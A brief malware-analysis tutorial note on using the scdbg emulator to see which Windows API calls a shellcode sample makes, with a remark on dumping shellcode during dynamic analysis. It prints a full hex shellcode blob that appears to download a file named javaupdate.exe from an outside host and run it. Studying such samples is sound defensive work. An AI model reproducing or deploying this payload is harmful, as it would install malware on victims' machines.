Shellcode Analysis

We may encounter some shellcode which needs to be analyzed

and scdbg is one such tool if we provide it shellcode it can return the api calls and action shellcode is performing e.g.

when we extracted shellcode(without 0x), we can open it in scdbg and in UI we can select unlimited steps to get complete detail

fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d686e6574006877696e6989e654684c772607ffd531ff5757575756683a5679a7ffd5eb635b31c951516a03515168bb01000053506857899fc6ffd5eb4f5931d252680032a08452525251525068eb552e3bffd589c66a105b688033000089e06a04506a1f566875469e86ffd531ff5757575756682d06187bffd585c075144b0f8471000000ebd1e987000000e8acffffff00eb6b31c05f506a026a02506a026a025768daf6da4fffd59331c066b8040329c4548d4c240831c0b40350515668129689e2ffd585c0742d5885c074166a0054508d44240c5053682d57ae5bffd583ec04ebce5368c6968752ffd56a005768318b6f87ffd56a0068f0b5a256ffd5e890ffffff6a6176617570646174652e65786500e80cffffff6275726e2e6563322d31332d372d3130392d3132312d7562756e74752d323030342e6c6f63616c00

unlimited steps says you don't have a limit on how many cpu instructions you want to analyze.

if you don't do that you analysis will stop prematurely.

Dynamic Anlaysis

When we are doing dynamic analysis, we find some shellcode is being written we need to analyze that. e.g. in this we paused execution of writeprocessmemory and analyzed 3rd param which is shellcode in dump and dumped it to a file and using same tool like scdbg analyzed the shellcode